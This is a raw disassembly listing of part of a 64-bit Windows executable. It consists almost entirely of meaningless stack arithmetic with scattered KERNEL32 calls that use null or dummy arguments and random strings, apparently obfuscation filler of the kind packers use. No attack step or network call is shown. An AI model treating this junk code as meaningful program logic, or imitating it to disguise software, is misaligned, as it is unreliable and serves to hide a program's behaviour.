mov byte [rsp + 0x714], al
mov rax, qword [rsp + 0x14c08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9f0]
sub ecx, eax
mov eax, ecx
mov dword [0x140282830], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x14d90]
mov rcx, qword [rsp + 0x140f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8c40], eax
movzx eax, word [rsp + 0x2b68]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1758], ax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f5]
sar eax, cl
mov byte [rsp + 0x6d4], al
mov rax, qword [rsp + 0x14748]
mov rcx, qword [rsp + 0x14cc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa758], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov dword [rsp + 0xab84], eax
mov eax, dword [rsp + 0xa618]
mov ecx, dword [rsp + 0xa414]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x86f8], eax
lea rax, [rsp + 0xa434]
mov qword [rsp + 0x14da8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.mPDZWvWOzQewWczw2Kjgva9wFQ5p1CqSsGCSL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14db0], rax
mov rax, qword [rsp + 0x14c88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x660]
sub eax, ecx
mov byte [rsp + 0x631], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bfc]
add eax, ecx
mov word [0x140282834], ax
mov rax, qword [rsp + 0x14ca0]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x147f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14da8]
mov eax, dword [rax]
mov dword [rsp + 0xab88], eax
mov rax, qword [0x14028ed40]
mov ecx, dword [rsp + 0xa3b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8d0], eax
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8050], eax
mov rax, qword [rsp + 0x140d0]
mov ecx, dword [rsp + 0xa0c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa854], eax
lea rax, [rsp + 0x65b]
mov qword [rsp + 0x14db8], rax
mov rax, qword [rsp + 0x14c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14a98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1404], ax
movzx eax, word [rsp + 0x2d24]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2df8], ax
movzx eax, byte [rsp + 0x60f]
movzx ecx, byte [rsp + 0x2d7]
sub eax, ecx
mov byte [0x14028ed68], al
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov dword [rsp + 0xab8c], eax
mov eax, dword [rsp + 0xa690]
mov ecx, dword [0x1402827c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6ec], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x2eb4], ax
movzx eax, byte [rsp + 0x703]
movzx ecx, byte [rsp + 0x6d4]
sar eax, cl
mov byte [rsp + 0x5e9], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14108], rax
mov rax, qword [rsp + 0x14970]
mov eax, dword [rax]
mov ecx, dword [0x14028eec8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa6c], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov dword [rsp + 0xab90], eax
mov eax, dword [rsp + 0xa918]
movzx ecx, al
mov eax, dword [rsp + 0x793c]
shl eax, cl
mov dword [rsp + 0xa8a8], eax
mov rax, qword [rsp + 0x14a10]
mov rcx, qword [rsp + 0x14aa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7898], eax
movzx eax, byte [rsp + 0x6bb]
mov byte [0x14028ec58], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa27c], eax
movzx eax, word [rsp + 0x2de0]
mov rcx, qword [rsp + 0x14c90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e6c], ax
movzx ecx, word [rsp + 0x2c08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b70], ax
mov rax, qword [0x14028ee28]
mov ecx, dword [rsp + 0xa7ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8be0], eax
mov eax, dword [rsp + 0x9774]
mov dword [rsp + 0xab94], eax
movsx eax, byte [rsp + 0x708]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x14648]
movzx eax, word [rax]
mov word [rsp + 0x2eb8], ax
lea rcx, str.lxzyTUFm_TbYuYoCB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ebc], ax
movzx eax, byte [rsp + 0x3db]
movzx ecx, byte [rsp + 0x677]
add eax, ecx
mov byte [rsp + 0x6fc], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [0x140282754]
sub eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9284], eax
mov eax, dword [rsp + 0x6ddc]
mov ecx, dword [rsp + 0xa85c]
and ecx, eax
mov eax, ecx
mov dword [0x14028278c], eax
mov eax, dword [rsp + 0xa7bc]
mov ecx, dword [0x14028edc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4cc], eax
mov eax, dword [rsp + 0xab0c]
mov dword [rsp + 0xab98], eax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaab8]
sar eax, cl
mov dword [rsp + 0x8dc8], eax
mov rcx, qword [rsp + 0x149b0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa748], eax
lea rax, [rsp + 0x6c0]
mov qword [rsp + 0x14dc0], rax
mov rax, qword [rsp + 0x14b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14990]
mov word [rcx], ax
mov eax, dword [rsp + 0xa5ac]
movzx ecx, al
mov eax, dword [rsp + 0x86d8]
shl eax, cl
mov dword [rsp + 0x7898], eax
mov eax, dword [rsp + 0xa93c]
mov dword [rsp + 0xab9c], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa914], eax
lea rax, [rsp + 0x8288]
mov qword [0x14028ec50], rax
lea rax, [0x140282704]
mov qword [rsp + 0x14dc8], rax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14150]
mov byte [rcx], al
movsx eax, byte [rsp + 0x6cf]
movsx ecx, byte [rsp + 0x695]
and eax, ecx
mov byte [rsp + 0x632], al
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x14b10]
mov rcx, qword [rsp + 0x14ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x149d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa400]
mov dword [rsp + 0xaba0], eax
movzx ecx, word [rsp + 0x2b70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ec0], ax
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d14], ax
movzx eax, byte [rsp + 0x156]
movzx ecx, byte [rsp + 0x1aa]
add eax, ecx
mov byte [rsp + 0x6b4], al
mov eax, dword [rsp + 0xa57c]
mov ecx, dword [rsp + 0x9a04]
add ecx, eax
mov eax, ecx
mov dword [0x140282774], eax
mov eax, dword [rsp + 0xa724]
mov dword [rsp + 0xaba4], eax
mov rax, qword [rsp + 0x14d90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x73f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14578]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ba8]
mov eax, dword [rax]
mov ecx, dword [0x140282780]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x148e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22a8]
and eax, ecx
mov word [rsp + 0x2b64], ax
movzx eax, byte [rsp + 0x6db]
movzx ecx, byte [rsp + 0x64b]
sar eax, cl
mov rcx, qword [rsp + 0x14700]
mov byte [rcx], al
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov dword [rsp + 0xaba8], eax
mov eax, dword [rsp + 0xaae4]
mov ecx, dword [rsp + 0xa64c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14688]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6f70]
mov dword [rsp + 0xabac], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov eax, dword [rsp + 0xa4ec]
mov rcx, qword [rsp + 0x144c0]
mov qword [rsp + 0x14dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14dd0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14028ee44], eax
mov rax, qword [rsp + 0x14ca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9774]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x75e0], eax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
movsx ecx, byte [0x140281dce]
add eax, ecx
mov byte [rsp + 0x4cf], al
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2d20]
sub eax, ecx
mov word [rsp + 0x24a0], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ae]
and eax, ecx
mov rcx, qword [rsp + 0x14250]
mov byte [rcx], al
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x149d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa850], eax
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
mov word [rsp + 0x2ec4], ax
mov eax, dword [rsp + 0xa628]
mov ecx, dword [rsp + 0x7684]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x96e0], eax
mov eax, dword [rsp + 0x985c]
mov dword [rsp + 0xabb0], eax
mov rax, qword [0x14028ed80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x667]
add eax, ecx
mov rcx, qword [rsp + 0x14c10]
mov byte [rcx], al
mov rax, qword [rsp + 0x14b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14990]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140282838], ax
mov eax, dword [0x1402827cc]
mov ecx, dword [rsp + 0x7f44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6cc], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov dword [rsp + 0xabb4], eax
mov rax, qword [rsp + 0x144f0]
mov ecx, dword [rsp + 0x6f2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9790], eax
lea rax, [rsp + 0xa63c]
mov qword [rsp + 0x14dd8], rax
mov rax, qword [rsp + 0x148d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14310]
mov word [rcx], ax
movzx eax, byte [rsp + 0x651]
movzx ecx, byte [rsp + 0x2a7]
add eax, ecx
mov byte [rsp + 0x6d4], al
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa55c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d50], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa644]
shl eax, cl
mov dword [rsp + 0xa39c], eax
movsx eax, byte [rsp + 0x6a7]
movsx ecx, byte [rsp + 0x6e2]
or eax, ecx
mov byte [0x140281dca], al
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x2ec8], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14888]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6fb], al
lea rcx, str.HA_AGym
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ecc], ax
movzx eax, word [rsp + 0x217c]
mov word [rsp + 0x2ed0], ax
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
mov ecx, dword [0x1402826a8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x866c], eax
mov rax, qword [rsp + 0x14c08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14218]
mov dword [rcx], eax
mov rax, qword [0x14028ec88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a64], eax
mov rax, qword [rsp + 0x14720]
mov rcx, qword [rsp + 0x144d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8dc], eax
mov eax, dword [rsp + 0xa654]
mov dword [rsp + 0xabb8], eax
movzx eax, byte [rsp + 0x685]
movzx ecx, byte [rsp + 0x6e6]
and eax, ecx
mov byte [rsp + 0x543], al
lea rax, [rsp + 0x2d9c]
mov qword [0x14028ec48], rax
mov eax, dword [rsp + 0x9f0c]
mov ecx, dword [rsp + 0x84a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b4], eax
mov rcx, qword [rsp + 0x149d0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa668], eax
lea rcx, [rsp + 0x247d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xaa8c], eax
lea rax, [0x14028ee88]
mov qword [rsp + 0x14de0], rax
mov rax, qword [rsp + 0x14b90]
mov rcx, qword [rsp + 0x14760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6a0], eax
mov eax, dword [rsp + 0xa788]
mov dword [rsp + 0xabbc], eax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
movzx ecx, byte [0x14028edb0]
add eax, ecx
mov rcx, qword [rsp + 0x14250]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d38]
add eax, ecx
mov rcx, qword [rsp + 0x14310]
mov word [rcx], ax
mov rax, qword [rsp + 0x14428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x147f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1728], ax
movsx eax, byte [0x140281de3]
movsx ecx, byte [rsp + 0x643]
sar eax, cl
mov byte [rsp + 0x672], al
mov rax, qword [rsp + 0x14ae0]
mov rcx, qword [rsp + 0x14da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028283c], eax
mov eax, dword [rsp + 0xa868]
mov dword [rsp + 0xabc0], eax
movzx eax, word [rsp + 0x2730]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2dc0], ax
mov rax, qword [rsp + 0x14b20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x640], al
mov eax, dword [0x140282720]
mov dword [rsp + 0xabc4], eax
mov rax, qword [rsp + 0x14ba8]
mov rcx, qword [rsp + 0x14b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa848], eax
lea rdx, [rsp + 0xaa80]
mov rcx, qword [rsp + 0x14c48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa548], eax
mov rax, qword [rsp + 0x14ab8]
mov rcx, qword [rsp + 0x14970]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x75d4], eax
mov eax, dword [rsp + 0x9a1c]
mov ecx, dword [rsp + 0xa82c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8e0], eax
movzx eax, byte [rsp + 0x521]
mov byte [rsp + 0x715], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14028ee78]
mov word [rcx], ax
mov eax, dword [rsp + 0xa880]
mov ecx, dword [0x140282804]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8af4], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x140d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xabc4], eax
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov dword [rsp + 0xabc8], eax
mov rax, qword [rsp + 0x14c18]
mov rcx, qword [rsp + 0x14a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaae8], eax
lea rax, [rsp + 0xa4dc]
mov qword [rsp + 0x14de8], rax
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x24a0], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4aa]
add eax, ecx
mov rcx, qword [rsp + 0x13ea8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x68e]
mov byte [rsp + 0x716], al
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov word [0x14028ec40], ax
mov rax, qword [0x14028eea8]
mov ecx, dword [rsp + 0x8604]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8df4], eax
lea rax, [rsp + 0xa988]
mov qword [rsp + 0x14df0], rax
movzx eax, word [rsp + 0x1590]
mov rcx, qword [rsp + 0x14dc8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2d14], ax
mov rax, qword [0x14028eca8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14670]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x675], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa8fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa338]
movzx ecx, al
mov eax, dword [rsp + 0xa644]
sar eax, cl
mov dword [rsp + 0x8d88], eax
mov rax, qword [0x14028edb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x144a8]
mov qword [rsp + 0x14df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14df8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14a58]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa39c]
mov dword [rsp + 0xabcc], eax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7fc], eax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402827b0], ax
movzx eax, byte [rsp + 0x6f5]
mov byte [rsp + 0x717], al
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0xaacc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaf8], eax
mov eax, dword [rsp + 0xa4ec]
mov ecx, dword [0x1402827c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa714], eax
movsx eax, byte [rsp + 0x654]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x504], al
mov rax, qword [rsp + 0x142c0]
movsx eax, word [rax]
mov rcx, qword [0x14028ede8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2dcc], ax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov word [rsp + 0x2ed4], ax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6c5], al
mov rax, qword [rsp + 0x14bd0]
mov rcx, qword [0x14028ee38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64b4], eax
mov rax, qword [rsp + 0x144c0]
mov ecx, dword [rsp + 0xa5e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402826c8], eax
mov eax, dword [rsp + 0xa868]
mov dword [rsp + 0xabd0], eax
mov rax, qword [0x14028eda0]
mov rcx, qword [rsp + 0x14da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9834], eax
mov eax, dword [rsp + 0x9580]
mov rcx, qword [rsp + 0x14300]
mov qword [rsp + 0x14e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e00]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8300], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14128], rax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x67b], al
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c24]
xor eax, ecx
mov word [rsp + 0x2e88], ax
lea rax, [rsp + 0xa804]
mov qword [rsp + 0x14e08], rax
mov eax, dword [0x140282760]
mov ecx, dword [rsp + 0xaaf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa450], eax
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov dword [rsp + 0xabd4], eax
mov rax, qword [rsp + 0x14da8]
mov ecx, dword [rsp + 0xa650]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282840], eax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1860]
sub eax, ecx
mov word [rsp + 0x2e90], ax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14700]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x637], al
movzx eax, word [rsp + 0x2d68]
mov word [rsp + 0x2ed8], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x647], al
mov rax, qword [rsp + 0x14a58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa564]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x65cc], eax
mov eax, dword [0x1402826b4]
mov ecx, dword [rsp + 0x91bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fec], eax
lea rax, [rsp + 0x6b3]
mov qword [rsp + 0x14e10], rax
movzx eax, word [rsp + 0x2bf0]
movzx ecx, word [rsp + 0x2bb8]
add eax, ecx
mov word [rsp + 0x2338], ax
mov eax, dword [0x1402827a4]
mov ecx, dword [rsp + 0xa9f4]
and ecx, eax
mov eax, ecx
mov dword [0x140282844], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7e4], eax
lea rax, [rsp + 0xa9c8]
mov qword [rsp + 0x14e18], rax
mov rcx, qword [rsp + 0x14230]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xa90c]
mov rcx, qword [rsp + 0x14a40]
mov qword [rsp + 0x14e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x739c], eax
movzx eax, byte [rsp + 0x638]
mov byte [rsp + 0x718], al
movzx eax, word [rsp + 0x2bb0]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2aec], ax
mov rax, qword [rsp + 0x14858]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa0c4]
sar eax, cl
mov dword [rsp + 0x92ec], eax
mov rax, qword [rsp + 0x14c80]
mov eax, dword [rax]
mov dword [rsp + 0xabd8], eax
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0xaaa4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8af4], eax
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x706c]
add ecx, eax
mov eax, ecx
mov dword [0x14028270c], eax
mov rax, qword [rsp + 0x14438]
mov ecx, dword [rsp + 0xa9c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6828], eax
lea rcx, str.XuptqnCzL_RsBIYmQ_D8pNmQ2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ec0], ax
movsx eax, byte [rsp + 0x6da]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x654], al
movsx eax, word [rsp + 0x2b7c]
movsx ecx, word [rsp + 0x2d0c]
add eax, ecx
mov word [rsp + 0x2b24], ax
lea rax, [rsp + 0x2a7]
mov qword [rsp + 0x14e28], rax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b74], ax
mov eax, dword [rsp + 0xa7a0]
mov dword [rsp + 0xabdc], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x273f
mov r9d, 0x3416
mov r8d, 0xa4816b7a
mov edx, 1
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xabe0], eax
mov rax, qword [rsp + 0x149a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa820]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa714], eax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2ba8]
sub eax, ecx
mov word [rsp + 0x2680], ax
movzx eax, byte [rsp + 0x679]
movzx ecx, byte [rsp + 0x709]
sub eax, ecx
mov byte [0x14028eec1], al
mov eax, dword [rsp + 0xa9ec]
mov dword [rsp + 0xabe4], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x14738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaac4], eax
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov dword [rsp + 0xabe8], eax
mov eax, dword [rsp + 0xab40]
mov ecx, dword [rsp + 0x6c58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6cc], eax
movzx eax, byte [0x140281e1a]
movzx ecx, byte [rsp + 0x398]
or eax, ecx
mov byte [rsp + 0x51d], al
movzx eax, word [rsp + 0x2d6c]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c24], ax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2b0], eax
mov eax, dword [rsp + 0xa3a4]
mov dword [rsp + 0xabec], eax
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140282848], ax
mov rax, qword [rsp + 0x14c68]
movsx eax, byte [rax]
movsx ecx, byte [0x140281df7]
add eax, ecx
mov byte [rsp + 0x70e], al
movzx eax, byte [rsp + 0x6be]
mov byte [rsp + 0x719], al
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d80], ax
